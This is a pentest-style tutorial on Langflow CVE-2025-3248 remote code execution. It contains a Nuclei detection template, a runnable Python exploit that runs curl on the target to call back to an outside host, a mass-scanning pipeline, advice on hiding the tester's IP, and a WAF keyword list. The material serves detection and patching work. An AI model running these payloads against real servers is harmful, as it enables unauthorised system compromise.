Writing a Custom Nuclei Template to Detect Unauthenticated RCE in Langflow (CVE-2025-3248)

CVE-2025-3248: Unauthenticated Remote Code Execution in Langflow

Langflow, a prominent visual framework for building multi-agent AI workflows, suffers from a critical unauthenticated remote code execution (RCE) vulnerability tracked as CVE-2025-3248. The flaw exists in versions prior to 1.3.0 and stems from the insecure use of Python's exec() function within the /api/v1/validate/code endpoint. While designed to validate the syntax of custom Python components, the endpoint processes user-supplied code snippets without authentication or sandboxing, allowing an attacker to achieve full system compromise with a single HTTP request.

Technical Analysis of the Attack Vector

The core of the vulnerability lies in how Langflow handles code validation requests. When a user submits a custom component for validation, the backend receives a JSON payload containing the Python code. The application then utilizes the ast (Abstract Syntax Tree) module to parse the code, followed by compile() and exec() to verify its structure. Specifically, the vulnerability is triggered by Python’s behavior regarding function decorators and default argument values.

In Python, decorator expressions are evaluated at the time the function is defined—not when it is called. When Langflow's validation logic compiles the submitted code to inspect its ast.FunctionDef nodes, any code embedded within a decorator or a default argument is executed immediately. This "compile-time" execution occurs before any security checks could theoretically take place, and in vulnerable versions, no authentication middleware protects this specific route.

# Vulnerable backend logic simplified
import ast

def validate_code(code_str):
    # Parsing into AST evaluates certain expressions
    tree = ast.parse(code_str)
    # Compiling and executing the module to "check" it
    byte_code = compile(tree, filename="<inline>", mode="exec")
    exec(byte_code) # RCE occurs here during definition evaluation

An attacker can leverage this by crafting a payload that uses a decorator to trigger a system command. Since the validation endpoint is intended to be public-facing or at least reachable within the internal network where Langflow is hosted, this provides a direct path to the underlying host or container.

Crafting the Nuclei Template

To detect this vulnerability across a distributed infrastructure, we can use Secably to automate the deployment of custom Nuclei templates. The template must target the /api/v1/validate/code endpoint using a POST request. Because the execution might be "blind" (meaning the output of the command isn't always returned in the HTTP response), we use an OOB (Out-of-Band) interaction via the interactsh protocol for reliable detection.

id: CVE-2025-3248-langflow-rce

info:
  name: Langflow - Unauthenticated RCE (CVE-2025-3248)
  author: pentest-notes
  severity: critical
  description: |
    Langflow versions < 1.3.0 are vulnerable to unauthenticated RCE via the 
    /api/v1/validate/code endpoint due to insecure usage of exec() on user-supplied 
    Python decorators.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-3248

http:
  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "code": "@(lambda: __import__('os').popen('curl http://{{interactsh-url}}').read())\ndef rce_check():\n    pass"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200

This template sends a JSON body where the code field contains a function definition decorated with a lambda expression. The lambda executes os.popen to trigger a curl request back to the interactsh server. If the request is received, the vulnerability is confirmed. For reconnaissance at scale, Zondex is highly effective for identifying exposed Langflow instances by searching for the X-Powered-By: Langflow header or specific frontend artifacts before launching the scan.

Manual Exploitation with Python

For manual verification during an engagement, a simple Python script can be used to send the payload. This is useful when debugging network issues or verifying if the environment is restricted from making outbound calls. When performing these tests from an external position, routing the traffic through GProxy ensures that the origin IP of the pentester remains obscured while interacting with the target's API.

import requests
import sys

def exploit_langflow(url, callback_url):
    target_endpoint = f"{url.rstrip('/')}/api/v1/validate/code"
    
    # Payload using a decorator to execute code during parsing
    payload = {
        "code": f"@(lambda x: x)(__import__('os').popen('curl {callback_url}').read())\ndef verify(): pass"
    }
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    }

    try:
        print(f"[*] Sending payload to {target_endpoint}...")
        response = requests.post(target_endpoint, json=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request successful. Check your listener for incoming connections.")
        else:
            print(f"[-] Target returned status code: {response.status_code}")
            print(f"[-] Response body: {response.text}")
            
    except Exception as e:
        print(f"[!] Error: {str(e)}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python3 exploit.py <target_url> <callback_url>")
        sys.exit(1)
    
    exploit_langflow(sys.argv[1], sys.argv[2])

Identifying Vulnerable Targets

Detection in the field requires understanding the typical deployment patterns of Langflow. It is often deployed as a Docker container or via pip install langflow. By default, it listens on port 7860. Using a tool like httpx combined with the Nuclei template allows for rapid identification of vulnerable instances across large IP ranges.

# Example command to scan a list of hosts
cat targets.txt | httpx -p 7860 -silent | nuclei -t langflow-rce.yaml -o results.txt

The response from a vulnerable server typically includes a JSON object indicating the "validation" was successful or providing the function name, but the RCE occurs in the background regardless of the returned message. In some environments, the exec() call might return the output of the command if the script is modified to reflect it, but OOB is the most reliable method for unauthenticated scenarios.

Remediation and Mitigation

The primary fix for CVE-2025-3248 is upgrading to Langflow version 1.3.0 or later. The patch introduces a mandatory authentication check on the /api/v1/validate/code endpoint by adding the _current_user: CurrentActiveUser dependency to the FastAPI route. This ensures that only authenticated users with appropriate permissions can submit code for validation.

If an immediate upgrade is not possible, the following mitigations should be applied:

  • Network Segmentation: Restrict access to the Langflow web interface to trusted IP addresses only.
  • WAF Rules: Implement Web Application Firewall rules to detect and block payloads containing __import__, os.system, popen, or subprocess in the body of requests to /api/v1/validate/code.
  • Environment Isolation: Run Langflow in a low-privileged container with no access to the host's internal network or sensitive environment variables.